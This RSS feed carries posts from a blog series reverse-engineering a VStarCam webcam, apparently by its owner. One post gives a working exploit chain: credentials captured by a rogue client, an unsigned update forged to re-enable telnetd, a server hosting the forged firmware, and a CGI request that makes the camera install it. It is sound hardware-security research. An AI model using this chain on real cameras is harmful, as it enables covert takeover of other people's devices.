<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:media="http://search.yahoo.com/mrss/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">
  <channel>
    <title>SOL.VIN Journal - VStarCam - Investigational Journey</title>
    <link>https://sol.vin/vstarcam_journey/</link>
    <description>A journey through a horribly insecure webcam, and the discovery, and fruititon of a client hijacking exploit.</description>
    <language>en-us</language>
    <copyright>Copyright (c) 2026 Ian Rash</copyright>
    <managingEditor>Ian Rash</managingEditor>
    <webMaster>Ian Rash</webMaster>
    <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
    <lastBuildDate>Tue, 03 Sep 2019 00:00:00 GMT</lastBuildDate>
    <generator>SOL.VIN Static Site Generator (Crystal)</generator>
    <docs>https://www.rssboard.org/rss-specification</docs>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <atom:link href="https://sol.vin/vstarcam_journey/rss.xml" rel="self" type="application/rss+xml" />
    <image>
      <url>https://sol.vin/apple-touch-icon.png</url>
      <title>SOL.VIN Journal - VStarCam - Investigational Journey</title>
      <link>https://sol.vin/vstarcam_journey/</link>
    </image>
    <category domain="chain">VStarCam - Investigational Journey</category>
    <category domain="skill">Security Research</category>
    <dc:subject>Security Research</dc:subject>
    <category domain="skill">Reverse Engineering</category>
    <dc:subject>Reverse Engineering</dc:subject>
    <category domain="skill">Exploit PoC Development</category>
    <dc:subject>Exploit PoC Development</dc:subject>
    <category domain="skill">Exploitation</category>
    <dc:subject>Exploitation</dc:subject>
    <category domain="skill">C</category>
    <dc:subject>C</dc:subject>
    <category domain="skill">Hardware Security</category>
    <dc:subject>Hardware Security</dc:subject>
    <category domain="skill">Linux Kernel</category>
    <dc:subject>Linux Kernel</dc:subject>
    <category domain="skill">Static Analysis</category>
    <dc:subject>Static Analysis</dc:subject>
    <category domain="skill">Crystal</category>
    <dc:subject>Crystal</dc:subject>
    <item>
      <title>Re-evaluating fixed vulnerabilities</title>
      <link>https://sol.vin/vstarcam_journey/10.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/10.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>Unfortunately, every journey has it&#39;s end, and this one came to an end quicker than I had hoped.</p>
<p>Uploading my firmware, while it seemed like it worked, never increased the version number in the application. I did everything in my power to look through the updates, seeing if I missed anything. Sad thing was, the only major difference in the updates, was small header values inside the zip files themselves. Everything I checked didn&#39;t work and I was clueless on how to succeed.</p>
<p>I ended up wanting to try something new, and I looked through my firmware files to see if I could upload a version lower than the current one, to downgrade the firmware. Unfortunately, this was where I made a huge mistake.</p>
<p>I ended up uploading a firmware file for a different camera in the same product line, which completely bricked my camera permanently. The camera gets to the &quot;Hello I&#39;m Online&quot; boot phase, then eats mad dog shit, rebooting, and starting all over. I can&#39;t find a way to upload the proper firmware.</p>
<p>I asked around on some Discord servers but no one knew what to do, and as one user elegantly put it, &quot;See, 2 am hacking is a big no no&quot;.</p>
<p>This also cut this article short, I had a lot more planned with the device and I really wanted to show off some of the tools I wrote to do it.</p>
<p>I&#39;m probably going to order a new one and be a little more careful next time, the product line themselves are still on <a href="https://www.amazon.com/VSTARCAM-C7824WIP-Wireless-Multi-Stream-Monitoring/dp/B01FXSZ3YQ/ref=sr_1_1_sspa?keywords=vstarcam&amp;qid=1553308085&amp;s=gateway&amp;sr=8-1-spons&amp;psc=1">Amazon</a>, and highly rated at that, for only $35!</p>
]]></description>
      <content:encoded><![CDATA[<p>Unfortunately, every journey has it&#39;s end, and this one came to an end quicker than I had hoped.</p>
<p>Uploading my firmware, while it seemed like it worked, never increased the version number in the application. I did everything in my power to look through the updates, seeing if I missed anything. Sad thing was, the only major difference in the updates, was small header values inside the zip files themselves. Everything I checked didn&#39;t work and I was clueless on how to succeed.</p>
<p>I ended up wanting to try something new, and I looked through my firmware files to see if I could upload a version lower than the current one, to downgrade the firmware. Unfortunately, this was where I made a huge mistake.</p>
<p>I ended up uploading a firmware file for a different camera in the same product line, which completely bricked my camera permanently. The camera gets to the &quot;Hello I&#39;m Online&quot; boot phase, then eats mad dog shit, rebooting, and starting all over. I can&#39;t find a way to upload the proper firmware.</p>
<p>I asked around on some Discord servers but no one knew what to do, and as one user elegantly put it, &quot;See, 2 am hacking is a big no no&quot;.</p>
<p>This also cut this article short, I had a lot more planned with the device and I really wanted to show off some of the tools I wrote to do it.</p>
<p>I&#39;m probably going to order a new one and be a little more careful next time, the product line themselves are still on <a href="https://www.amazon.com/VSTARCAM-C7824WIP-Wireless-Multi-Stream-Monitoring/dp/B01FXSZ3YQ/ref=sr_1_1_sspa?keywords=vstarcam&amp;qid=1553308085&amp;s=gateway&amp;sr=8-1-spons&amp;psc=1">Amazon</a>, and highly rated at that, for only $35!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Post Mortem &amp; Fixes</title>
      <link>https://sol.vin/vstarcam_journey/9.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/9.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/auto_dl.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/auto_dl.png" />
      <description><![CDATA[<p>Now that we have the username and password for the camera, there is a specific CGI that was found while making a firmware update. This CGI takes a server, and a file name, and downloads the file to the camera, and attempts a firmware update. If used properly, we could alter an update, increasing it&#39;s version number, and changing the main start up script to include telnetd again. We can also use this feature to test against the update validation logic, allowing us to write a minimal exploit to take advantage of this. For example, the update logic might say something like,&quot;I&#39;ll allow an update to run, but only if the firmware version is higher than mine, all the zip files inside validate with no errors, etc etc&quot;, and if we know exactly what those parameters are, we can write a &quot;minimal update maker&quot; to make the smallest amount of changes.</p>
<h2>Getting an update</h2>
<p>After months of playing around with this camera, I finally got a hold of my first firmware update! I went through the whole thing by hand, and used what I found to find other firmware images from previous versions.</p>
<p>https://github.com/twigie4/C7824WIP</p>
<h2>Looking at the updates</h2>
<p>Using binwalk, we can take a look at the innards of the update, pulling it apart shows that it is a collection of ZIP files,each a single zip file, combined together into a special update format.</p>
<p>Extracted, the file tree looks like this.</p>
<pre class="code-block"><code>── system
    ├── init
    │   ├── ipcam.sh
    │   └── seq_ap6181.sh
    └── system
        ├── bin
        │   ├── brushFlash
        │   ├── cmd_thread
        │   ├── encoder
        │   ├── fwversion.bin
        │   ├── gpio_aplink.ko
        │   ├── grade.sh
        │   ├── load3516d
        │   ├── load3518
        │   ├── load3518ev200
        │   ├── motogpio.ko
        │   ├── sysversion.txt
        │   ├── updata
        │   ├── wifidaemon
        │   └── wpa_supplicant
        └── lib
            ├── libOnvif.so
            ├── libsns_ar0130_720p.so
            ├── libsns_gc1004.so
            ├── libsns_gc1024.so
            ├── libsns_h42.so
            ├── libsns_ov9712_plus.so
            ├── libsns_sc1045.so
            └── libvoice_arm.so

5 directories, 48 files</code></pre>
<p>When looking at the files individually, we can quickly note the important ones, ipcam.sh, which has telnetd commented out inside it, and fwversion.bin which contains a byte version of the 4 byte version number given in the app.</p>
<p>Comparing this update with the others, show that the validating change to the update is the version number, fwversion.bin.</p>
<p>If we can modify the update so it turns back on telnetd, and increments the fwversion.bin, we can overwrite any update, even potentially reverting the firmware to a older version.</p>
<p>We may also have to deal with file checksums, hashing, and signatures in the update, so we need to look more closely at the update using a hex editor, I personally like hexer, it was the only one I used that didn&#39;t crash when I opened it, except for xxd.</p>
<pre class="code-block"><code>00000000:  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  www.object-camer
 00000010:  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  a.com.by.hongzx.</code></pre>
<p>This first part is a sentinel value, and if you skip to the bottom, you can see a reversed version terminating it.</p>
<pre class="code-block"><code>000fd590:  e2 00 00 00 00 00 2e 78  7a 67 6e 6f 68 2e 79 62  .......xzgnoh.yb
 000fd5a0:  2e 6d 6f 63 2e 61 72 65  6d 61 63 2d 74 63 65 6a  .moc.aremac-tcej
 000fd5b0:  62 6f 2e 77 77 77 -- --  -- -- -- -- -- -- -- --  bo.www----------</code></pre>
<p>If we go to the next &quot;field&quot;, we can see that there is a directory followed by a bunch of 0x00, which we can guess is the full field width, 0x40.</p>
<pre class="code-block"><code>00000020:  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 62 69  system/system/bi
 00000030:  6e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  n/..............
 00000040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000050:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>The next field is the filename</p>
<pre class="code-block"><code>00000060:  6c 6f 61 64 33 35 31 38  65 76 32 30 30 2e 7a 69  load3518ev200.zi
 00000070:  70 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  p...............
 00000080:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000090:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>After that comes two integer numbers, the first being the size (4 bytes, little-endian), then the second being the version number (8 bytes, but only using 4 now, little-endian).</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..</code></pre>
<p>We can confirm this is the size by using visual mode to measure the total bytes.</p>
<pre class="code-block"><code>visual selection:  0x000000ac - 0x00000993  0x8e8 (2280) bytes</code></pre>
<p>Then we start the zip file at 0xAC.</p>
<p>It then packs each of these zip files in a binary, padded with headers, and ended with the sentinel value reversed. Here&#39;s all the stuff we know.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C</code></pre>
<p>Looking at the ZIPs themselves isn&#39;t particularly interesting, but one thing of note, the ZIPs all preserve directory structure, even though the ZIPs only contain one file each.</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..
 000000b0:  14 00 00 00 08 00 6c 6d  24 4e 8a b1 db 55 14 08  ......lm$N...U..
 000000c0:  00 00 19 21 00 00 1f 00  1c 00 73 79 73 74 65 6d  ...!......system
 000000d0:  2f 73 79 73 74 65 6d 2f  62 69 6e 2f 6c 6f 61 64  /system/bin/load
 000000e0:  33 35 31 38 65 76 32 30  30 55 54 09 00 03 7c f2  3518ev200UT...|.</code></pre>
<p>Since there is no checksum/signing involved, we should be able to make our own update very easily!</p>
<h2>Making our own update</h2>
<p>I wrote a simple script to put together an update out of files from the system directory. I put the files back exactly how they were and modified the fwversion.bin file to have an increased number.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C

FILE_ORDER_PATH = &quot;rsrc/file_order&quot;
FIRMWARE_PATH = &quot;rsrc&quot;
ZIP_PATH = &quot;rsrc/zip&quot;
NEW_UPDATE_PATH = &quot;rsrc/update&quot;
FWVERSION_PATH = &quot;rsrc/system/system/bin/fwversion.bin&quot;

# Start construction
fwversion =  File.open(FWVERSION_PATH, &quot;r&quot;) {|f| f.read_bytes(Int64, IO::ByteFormat::LittleEndian)}

new_update = File.open(NEW_UPDATE_PATH, &quot;w&quot;)
new_update &lt;&lt; SENTINEL_VALUE

files = File.read(FILE_ORDER_PATH).lines
puts &quot;Loading files for update #{fwversion.to_s(16).rjust(16, &#39;0&#39;)}&quot;
puts
files.each do |file_path|
  filename = File.basename file_path
  zip_filename = filename += &quot;.zip&quot;

  # Make zip

  `cd #{FIRMWARE_PATH}; zip zip/#{zip_filename} #{file_path}`
  zip_file = File.read(&quot;#{ZIP_PATH}/#{zip_filename}&quot;)
  new_update &amp;lt;&amp;lt; (File.dirname(file_path) + &quot;/&quot;).ljust(HEADER_OFFSET_DIRECTORY.size, &quot;\x00&quot;[0])
  new_update &amp;lt;&amp;lt; zip_filename.ljust(HEADER_OFFSET_FILENAME.size, &quot;\x00&quot;[0])

  new_update.write_bytes(zip_file.bytes.size, IO::ByteFormat::LittleEndian)
  new_update.write_bytes(fwversion, IO::ByteFormat::LittleEndian)
  new_update &amp;lt;&amp;lt; zip_file

  puts &quot;#{file_path}&quot;
  puts &quot;SIZE: #{zip_file.bytes.size.to_s 16}&quot;
end

new_update &amp;lt;&amp;lt; SENTINEL_VALUE.reverse
new_update.close</code></pre>
<h2>Writing an update server</h2>
<p>Next, we need a simple program to host the file for download. The server MUST run on port 80, the camera won&#39;t accept a port argument. The cgi script also only will take a text url, not an IP address, so we need to bind our system to a URL (like badclient.local or something).</p>
<pre class="code-block"><code>require &quot;kemal&quot;

get &quot;/update&quot; do |env|
  send_file env, &quot;rsrc/update&quot;
end
Kemal.config.port = 80
Kemal.run</code></pre>
<h2>Using the exploit</h2>
<pre class="code-block"><code>require &quot;./anti-client&quot;
anti = AntiClient.new
anti.run
creds = anti.wait_for_creds
anti.close
puts &quot;GOT CREDS #{creds}&quot;

sleep 5
client = Client.new
client.run
until client.state == :main_phase
  sleep 0.1
end

spawn do
  `bin/update_server &amp;`
end
puts &quot;Ran update server&quot;
sleep 10
puts
client.send_udp_raw_get_request(&quot;/auto_download_file.cgi&quot;,
                                   server: &quot;gaming.local&quot;,
                                   file: &quot;/update&quot;,
                                   type: &quot;0&quot;,
                                   resevered1: &quot;&quot;,
                                   resevered2: &quot;&quot;,
                                   resevered3: &quot;&quot;,
                                   resevered4: &quot;&quot;,
                                   loginuse: creds[:user],
                                   loginpas: creds[:pass],
                                   user: creds[:user],
                                   pwd: creds[:pass])
sleep 10
client.close</code></pre>
<p>Which when run will start the anti-client, get the credentials, then use them to log into the camera, run the update server, then send a get request for the auto_download_file.cgi.</p>
<p>Just for reference, I know &quot;resevered&quot; is misspelled, it was actually how they wrote it in the client.</p>
<center>
<img src="/images/vstarcam/wireshark/auto_dl.png" style="width: 100%; height: 100%;">
</center>
<p>Eventually we get a reply back saying everything went OK, and we can also see in Wireshark that the file was downloaded and that the camera rebooted.</p>
<pre class="code-block"><code>I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : SENT GET /auto_download_file.cgi?server=gaming.local&amp;file=/update&amp;type=0&amp;resevered1=&amp;resevered2=&amp;resevered3=&amp;resevered4=&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password
I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : REPLY RECIEVED FROM CAMERA
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : RESPONSE RECIEVED FROM CAMERA 46
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- :
result= 0;
var result=&quot;ok&quot;;
I, [2019-03-21 07:59:10 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:11 -07:00 #10950]  INFO -- : Sent Pong</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>Now that we have the username and password for the camera, there is a specific CGI that was found while making a firmware update. This CGI takes a server, and a file name, and downloads the file to the camera, and attempts a firmware update. If used properly, we could alter an update, increasing it&#39;s version number, and changing the main start up script to include telnetd again. We can also use this feature to test against the update validation logic, allowing us to write a minimal exploit to take advantage of this. For example, the update logic might say something like,&quot;I&#39;ll allow an update to run, but only if the firmware version is higher than mine, all the zip files inside validate with no errors, etc etc&quot;, and if we know exactly what those parameters are, we can write a &quot;minimal update maker&quot; to make the smallest amount of changes.</p>
<h2>Getting an update</h2>
<p>After months of playing around with this camera, I finally got a hold of my first firmware update! I went through the whole thing by hand, and used what I found to find other firmware images from previous versions.</p>
<p>https://github.com/twigie4/C7824WIP</p>
<h2>Looking at the updates</h2>
<p>Using binwalk, we can take a look at the innards of the update, pulling it apart shows that it is a collection of ZIP files,each a single zip file, combined together into a special update format.</p>
<p>Extracted, the file tree looks like this.</p>
<pre class="code-block"><code>── system
    ├── init
    │   ├── ipcam.sh
    │   └── seq_ap6181.sh
    └── system
        ├── bin
        │   ├── brushFlash
        │   ├── cmd_thread
        │   ├── encoder
        │   ├── fwversion.bin
        │   ├── gpio_aplink.ko
        │   ├── grade.sh
        │   ├── load3516d
        │   ├── load3518
        │   ├── load3518ev200
        │   ├── motogpio.ko
        │   ├── sysversion.txt
        │   ├── updata
        │   ├── wifidaemon
        │   └── wpa_supplicant
        └── lib
            ├── libOnvif.so
            ├── libsns_ar0130_720p.so
            ├── libsns_gc1004.so
            ├── libsns_gc1024.so
            ├── libsns_h42.so
            ├── libsns_ov9712_plus.so
            ├── libsns_sc1045.so
            └── libvoice_arm.so

5 directories, 48 files</code></pre>
<p>When looking at the files individually, we can quickly note the important ones, ipcam.sh, which has telnetd commented out inside it, and fwversion.bin which contains a byte version of the 4 byte version number given in the app.</p>
<p>Comparing this update with the others, show that the validating change to the update is the version number, fwversion.bin.</p>
<p>If we can modify the update so it turns back on telnetd, and increments the fwversion.bin, we can overwrite any update, even potentially reverting the firmware to a older version.</p>
<p>We may also have to deal with file checksums, hashing, and signatures in the update, so we need to look more closely at the update using a hex editor, I personally like hexer, it was the only one I used that didn&#39;t crash when I opened it, except for xxd.</p>
<pre class="code-block"><code>00000000:  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  www.object-camer
 00000010:  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  a.com.by.hongzx.</code></pre>
<p>This first part is a sentinel value, and if you skip to the bottom, you can see a reversed version terminating it.</p>
<pre class="code-block"><code>000fd590:  e2 00 00 00 00 00 2e 78  7a 67 6e 6f 68 2e 79 62  .......xzgnoh.yb
 000fd5a0:  2e 6d 6f 63 2e 61 72 65  6d 61 63 2d 74 63 65 6a  .moc.aremac-tcej
 000fd5b0:  62 6f 2e 77 77 77 -- --  -- -- -- -- -- -- -- --  bo.www----------</code></pre>
<p>If we go to the next &quot;field&quot;, we can see that there is a directory followed by a bunch of 0x00, which we can guess is the full field width, 0x40.</p>
<pre class="code-block"><code>00000020:  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 62 69  system/system/bi
 00000030:  6e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  n/..............
 00000040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000050:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>The next field is the filename</p>
<pre class="code-block"><code>00000060:  6c 6f 61 64 33 35 31 38  65 76 32 30 30 2e 7a 69  load3518ev200.zi
 00000070:  70 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  p...............
 00000080:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000090:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................</code></pre>
<p>After that comes two integer numbers, the first being the size (4 bytes, little-endian), then the second being the version number (8 bytes, but only using 4 now, little-endian).</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..</code></pre>
<p>We can confirm this is the size by using visual mode to measure the total bytes.</p>
<pre class="code-block"><code>visual selection:  0x000000ac - 0x00000993  0x8e8 (2280) bytes</code></pre>
<p>Then we start the zip file at 0xAC.</p>
<p>It then packs each of these zip files in a binary, padded with headers, and ended with the sentinel value reversed. Here&#39;s all the stuff we know.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C</code></pre>
<p>Looking at the ZIPs themselves isn&#39;t particularly interesting, but one thing of note, the ZIPs all preserve directory structure, even though the ZIPs only contain one file each.</p>
<pre class="code-block"><code>000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..
 000000b0:  14 00 00 00 08 00 6c 6d  24 4e 8a b1 db 55 14 08  ......lm$N...U..
 000000c0:  00 00 19 21 00 00 1f 00  1c 00 73 79 73 74 65 6d  ...!......system
 000000d0:  2f 73 79 73 74 65 6d 2f  62 69 6e 2f 6c 6f 61 64  /system/bin/load
 000000e0:  33 35 31 38 65 76 32 30  30 55 54 09 00 03 7c f2  3518ev200UT...|.</code></pre>
<p>Since there is no checksum/signing involved, we should be able to make our own update very easily!</p>
<h2>Making our own update</h2>
<p>I wrote a simple script to put together an update out of files from the system directory. I put the files back exactly how they were and modified the fwversion.bin file to have an increased number.</p>
<pre class="code-block"><code>SENTINEL_VALUE = &quot;www.object-camera.com.by.hongzx.&quot;
SENTINEL_VALUE_RANGE = 0x00..0x1f

UPDATE_OFFSET = 0x20
HEADER_OFFSET_DIRECTORY = 0x00..0x3F
HEADER_OFFSET_FILENAME = 0x40..0x7F
HEADER_OFFSET_SIZE = 0x80..0x83
HEADER_OFFSET_VERSION_NUMBER = 0x84..0x8B
HEADER_OFFSET_ZIP_BEGIN = 0x8C

FILE_ORDER_PATH = &quot;rsrc/file_order&quot;
FIRMWARE_PATH = &quot;rsrc&quot;
ZIP_PATH = &quot;rsrc/zip&quot;
NEW_UPDATE_PATH = &quot;rsrc/update&quot;
FWVERSION_PATH = &quot;rsrc/system/system/bin/fwversion.bin&quot;

# Start construction
fwversion =  File.open(FWVERSION_PATH, &quot;r&quot;) {|f| f.read_bytes(Int64, IO::ByteFormat::LittleEndian)}

new_update = File.open(NEW_UPDATE_PATH, &quot;w&quot;)
new_update &lt;&lt; SENTINEL_VALUE

files = File.read(FILE_ORDER_PATH).lines
puts &quot;Loading files for update #{fwversion.to_s(16).rjust(16, &#39;0&#39;)}&quot;
puts
files.each do |file_path|
  filename = File.basename file_path
  zip_filename = filename += &quot;.zip&quot;

  # Make zip

  `cd #{FIRMWARE_PATH}; zip zip/#{zip_filename} #{file_path}`
  zip_file = File.read(&quot;#{ZIP_PATH}/#{zip_filename}&quot;)
  new_update &amp;lt;&amp;lt; (File.dirname(file_path) + &quot;/&quot;).ljust(HEADER_OFFSET_DIRECTORY.size, &quot;\x00&quot;[0])
  new_update &amp;lt;&amp;lt; zip_filename.ljust(HEADER_OFFSET_FILENAME.size, &quot;\x00&quot;[0])

  new_update.write_bytes(zip_file.bytes.size, IO::ByteFormat::LittleEndian)
  new_update.write_bytes(fwversion, IO::ByteFormat::LittleEndian)
  new_update &amp;lt;&amp;lt; zip_file

  puts &quot;#{file_path}&quot;
  puts &quot;SIZE: #{zip_file.bytes.size.to_s 16}&quot;
end

new_update &amp;lt;&amp;lt; SENTINEL_VALUE.reverse
new_update.close</code></pre>
<h2>Writing an update server</h2>
<p>Next, we need a simple program to host the file for download. The server MUST run on port 80, the camera won&#39;t accept a port argument. The cgi script also only will take a text url, not an IP address, so we need to bind our system to a URL (like badclient.local or something).</p>
<pre class="code-block"><code>require &quot;kemal&quot;

get &quot;/update&quot; do |env|
  send_file env, &quot;rsrc/update&quot;
end
Kemal.config.port = 80
Kemal.run</code></pre>
<h2>Using the exploit</h2>
<pre class="code-block"><code>require &quot;./anti-client&quot;
anti = AntiClient.new
anti.run
creds = anti.wait_for_creds
anti.close
puts &quot;GOT CREDS #{creds}&quot;

sleep 5
client = Client.new
client.run
until client.state == :main_phase
  sleep 0.1
end

spawn do
  `bin/update_server &amp;`
end
puts &quot;Ran update server&quot;
sleep 10
puts
client.send_udp_raw_get_request(&quot;/auto_download_file.cgi&quot;,
                                   server: &quot;gaming.local&quot;,
                                   file: &quot;/update&quot;,
                                   type: &quot;0&quot;,
                                   resevered1: &quot;&quot;,
                                   resevered2: &quot;&quot;,
                                   resevered3: &quot;&quot;,
                                   resevered4: &quot;&quot;,
                                   loginuse: creds[:user],
                                   loginpas: creds[:pass],
                                   user: creds[:user],
                                   pwd: creds[:pass])
sleep 10
client.close</code></pre>
<p>Which when run will start the anti-client, get the credentials, then use them to log into the camera, run the update server, then send a get request for the auto_download_file.cgi.</p>
<p>Just for reference, I know &quot;resevered&quot; is misspelled, it was actually how they wrote it in the client.</p>
<center>
<img src="/images/vstarcam/wireshark/auto_dl.png" style="width: 100%; height: 100%;">
</center>
<p>Eventually we get a reply back saying everything went OK, and we can also see in Wireshark that the file was downloaded and that the camera rebooted.</p>
<pre class="code-block"><code>I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : SENT GET /auto_download_file.cgi?server=gaming.local&amp;file=/update&amp;type=0&amp;resevered1=&amp;resevered2=&amp;resevered3=&amp;resevered4=&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password
I, [2019-03-21 07:59:07 -07:00 #10950]  INFO -- : REPLY RECIEVED FROM CAMERA
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- : RESPONSE RECIEVED FROM CAMERA 46
I, [2019-03-21 07:59:08 -07:00 #10950]  INFO -- :
result= 0;
var result=&quot;ok&quot;;
I, [2019-03-21 07:59:10 -07:00 #10950]  INFO -- : Sent Pong
I, [2019-03-21 07:59:11 -07:00 #10950]  INFO -- : Sent Pong</code></pre>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Installation &amp; Testing</title>
      <link>https://sol.vin/vstarcam_journey/8.html</link>
